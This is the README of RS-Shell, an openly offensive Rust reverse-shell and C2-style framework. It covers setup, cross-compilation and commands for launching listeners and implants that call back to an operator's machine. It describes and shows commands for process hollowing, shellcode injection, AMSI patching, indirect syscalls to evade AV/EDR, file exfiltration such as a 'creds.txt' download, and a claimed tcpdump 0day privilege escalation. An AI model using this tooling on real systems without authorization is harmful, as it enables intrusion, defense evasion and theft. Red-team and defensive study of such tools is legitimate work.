RS-Shell

"The worst Rust programmer you have ever seen" - my mom

"But at least it works" - still my mom, but not about me

Description

RS-Shell is reverse shell solution developped in Rust with client, implant and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.

RS-Shell implements two modes: TLS over TCP and HTTPS.

• TLS over TCP mode is a standard reverse shell where the implant executed on the target machine will connect back to the TLS listener, running on the operator's machine
• HTTPS mode works more like a C2 infratructure, with an HTTPS server, an implant, and a client:
  • The HTTPS server is executed on a server accessible by both the implant and the client. It is based on the Actix web framework with Rustls
  • The implant is executed on the target machine and will request the server for "new tasks" every 2 seconds (by default, can be changed in the code for the moment)
  • The client is executed on the operator's machine. It will also connect to the server via HTTPS, and will permit to send the commands to the implant

Windows HTTPS implant is partially proxy aware thanks to the Windows's WinINet library. This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail, and you will have to indicate the proxy URL and the credentials manually in the implant code).

Client, implant and server are all cross-platform and work on Windows and Linux systems.

For Windows implants, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.

For this purpose, I have chosen to mainly use the official windows_sys crate to interact with the Win32API and the ntapi crate for the NTAPI.

The project is thought in module. This means that you can easily add or remove features to and from it, and you can also easily take parts from it to put them in your own project.

Features

For the moment, the following features are present:

• Semi-interactive reverse shell via TLS over TCP
• Semi-interactive reverse shell via HTTPS with a C2 like infrastructure, and a proxy aware Windows implant
• File upload and download
• Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls (only in TCP mode)
• Loading features :
  • Load and execute a PE in the implant memory, with or without indirect syscalls
  • Load and execute a PE in a remote process memory, with or without indirect syscalls
  • Load and execute a shellcode in a remote process memory, with or without indirect syscalls
• Autopwn the client machine and elevate the privileges to SYSTEM or root by exploiting a 0day in tcpdump

To perform the indirect syscalls, I use the incredible rust-mordor-rs project initiate by memN0ps. However, I use the version from my repository, which just patches little errors I have found regarding libraries versions and crate imports.

How to

Setup

By default, only the error, warn and info logs are displayed. If you also need the debug ones (can be usefull for the loading features), you can change this in main.rs by modifying ::log::set_max_level(LevelFilter::Info); to ::log::set_max_level(LevelFilter::Debug);.

TCP setup

I have set a dummy domain for hostname validation in the connect() function for both clients in TCP mode. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.

A new self-signed PKCS12 TLS certificate can be obtained like this:

openssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 365 -out certificate.cer
openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer

HTTPS setup

Similarly to TCP, I have set up all the flags in the clients' configurations to avoid certificate checks and use self-signed certificates. If you use a signed certificate for a real server, you can change it and remove the unsecure flags that remove hostname and certs validations.

Rustls doesn't seem to support PKCS12 certificates (maybe I haven't found how to do it?). So, to obtain a PKCS8 certificate with a separate private key:

openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'

Compilation

The project can be compiled with cargo build --release on Windows or Linux and the binary will be present in target/release/, or the target name if a target is specified.

To cross-compile for a different target than your current OS you can use, for example, cargo build --release --target x86_64-pc-windows-gnu. In order to work, this requires the appropriate target toolchain to be installed. As an example, to generate Windows binaries from an Ubuntu machine:

• sudo apt install mingw-w64
• rustup target add x86_64-pc-windows-gnu
• cargo build --release --target x86_64-pc-windows-gnu

The project compilation has been tested with the following Rust toolchains :

• stable-x86_64-pc-windows-gnu
• stable-x86_64-pc-windows-msvc
• stable-x86_64-unknown-linux-gnu

If you compile the project for a Linux target, the "Windows features" will be removed at compilation. Should run on all Windows and Linux versions (I have hope).

Usage

Usage: rs-shell.exe [OPTIONS] --mode <mode> --side <side> --ip <ip>

Options:
  -m, --mode <mode>            communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure) [possible values: tcp, https]
  -s, --side <side>            launch the implant (i), the client (c) (only for HTTPS), or the listener (l) [possible values: i, c, l]
  -i, --ip <ip>                IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants
  -p, --port <port>            port address to bind to for the TCP listener, or to connect to for the implant
      --cert-path <cert_path>  path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS
      --cert-pass <cert_pass>  password of the TLS PKCS12 certificate for the TCP server
      --key-path <key_path>    path of the TLS key for the HTTPS server
  -h, --help                   Print help
  -V, --version                Print version

TCP usage

To obtain a session, just launch the binary in listener mode on your machine with rs-shell.exe -m tcp -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password. For example rs-shell.exe -m tcp -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password".

Then, on the target machine launch the implant to connect back to your server with rs-shell.exe -m tcp -s i -i IP_to_connect_to -p port_to_connect_to. For example rs-shell.exe -s c --ip 192.168.1.10 --port 4545.

HTTPS usage

First, launch the binary in server mode on a server that can be reached by both the implant and the client: rs-shell.exe -m https -s l -i IP_to_bind_to --cert-path certificate_path --key-path private_key_path. For example rs-shell.exe -m https -s l -i 0.0.0.0 --cert-path .\cert.pem --key-path .\key.pem.

Then, execute the implant on the target machine with rs-shell.exe -m https -s i -i IP_to_connect_to. For example rs-shell.exe -m https -s i -i 192.168.1.40.

Finally, run the client on your machine to connect to the server and start to interact with the implant with rs-shell.exe -m https -s c -i IP_to_connect_to. For example rs-shell.exe -m https -s c -i 192.168.1.40.

Advanced commands

> help
[+] Custom integrated commands :

    [+] Loading commands
    > load C:\\path\\to\\PE_to_load
        load a PE file in the client process memory and executes it. This will kill the reverse shell !
    > load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
        load a PE file in a remote process memory with process hollowing and executes it
    > load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
        load a shellcode in a remote process memory and start a new thread with it

    [+] Loading commands with indirect syscalls
    > syscalls C:\\path\\to\\PE_to_load
        load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell !
    > syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
        load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls
    > syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
        load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls

    [+] Bypass commands
    > powpow
        start a new interactive PowerShell session with the AMSI patched in memory, with or without indirect syscalls

    [+] Network commands
    > download C:\\file\\to\\download C:\\local\\path
        download a file from the remote system
    > upload C:\\local\\file\\to\\upload C:\\remote\\path\\to\\write
        upload a file to the remote system

    [+] Special commands
    > autopwn
        escalate to the SYSTEM or root account from any local account by exploiting a zero day

The load commands permit to load and execute directly in memory:

• load loads and execute a PE in the client memory. This will kill the reverse shell, but that could be usefull to launch a C2 implant in the current process for example
• load -h loads and execute a PE in a created remote process memory with process hollowing. You don't lose your reverse shell session, but the process hollowing will be potentially flag by the AV or the EDR
• load -s loads and execute a shellcode from a .bin file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target from your machine without touching the target's disk

For example : > load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.exe. This will start a cmd.exe process with hollowing, load a calc.exe image in the process memory, and then resume the thread to execute the calc.

On the other hand, the syscalls commands permit the same things, but everything is performed with indirect syscalls.

powpow (only available in TCP mode) starts an interactive PowerShell session with a PowerShell process where the AMSI ScanBuffer function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.

download permits to download a file from the client to the machine where the server is running. For example download C:\Users\Administrator\Desktop\creds.txt ./creds.txt. In HTTPS mode it is just download C:\Users\Administrator\Desktop\creds.txt, and the file will be downloaded in the downloads directory on the server.

upload permits to upload a file on the client machine. For example upload ./pwn.exe C:\Temp\pwn.exe. In HTTPS mode it is just upload ./pwn.exe, and the file will be uploaded in the directory where the implant has been written.

autopwn permits to escalate to the SYSTEM or root account with a 0day exploitation. Just type autopwn and answer the question.

Todo

• Move all the Win32API related commands to the NTAPI with indirect syscalls
• Implement other injection techniques
• Implement a port forwarding solution
• Find a way to create a fully proxy aware client
• Implement a reverse socks proxy feature

Disclaimers

This is an obvious disclaimer because I don't want to be held responsible if someone uses this tool against anyone who hasn't asked for anything.

Usage of anything presented in this repo to attack targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.

Acknowledgements

• OffensiveRust by winsecurity. This project would never have existed without him. Many of functions, structures, and tricks present in rs-shell come from this project
• OffensiveRust by trickster0
• Multiple projects by memN0ps
• RustPacker by Nariod
• Nik Brendler's blog posts about pipe communication between process in Rust. Part 1 and Part 2
• rust-mordor-rs by memN0ps, an incredible library for indirect syscalls in Rust
• Actix web framework